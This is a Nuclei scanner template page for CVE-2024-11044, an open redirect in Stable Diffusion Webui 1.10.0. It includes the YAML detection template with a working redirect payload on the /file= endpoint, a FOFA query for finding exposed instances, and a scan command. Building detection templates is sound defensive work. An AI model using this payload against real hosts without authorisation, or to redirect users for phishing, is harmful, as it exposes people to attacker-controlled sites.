Skip to content
Nuclei Templates

Stable Diffusion Webui 1.10.0 - Open Redirect

ID: CVE-2024-11044

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2024,huntr,redirect,oss,stable_diffusion_webui,automatic1111

Description

Section titled “Description”

An open redirect vulnerability exists in Stable-Diffusion-Webui 1.10.0, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.

YAML Source

Section titled “YAML Source”
id: CVE-2024-11044


info:
  name: Stable Diffusion Webui 1.10.0 - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in Stable-Diffusion-Webui 1.10.0, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
  reference:
    - https://huntr.com/bounties/ee942e5e-4987-4f81-ba83-014fec6b33b3
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="stable-diffusion-webui"
  tags: cve,cve2024,huntr,redirect,oss,stable_diffusion_webui,automatic1111


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "stable-diffusion-webui", "k-diffusion", "content=\"stable diffusion")'
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}/file=https://oast.pro"


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
# digest: 4a0a0047304502206875a28b5ec2322a05f993538e151f741ae2553d2bc61fb7ae2e485168be4c94022100a4c0b3a8c7c65e088e9cd49916061392362b403aad3769e545365343a8cb1c5b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-11044.yaml"

View on Github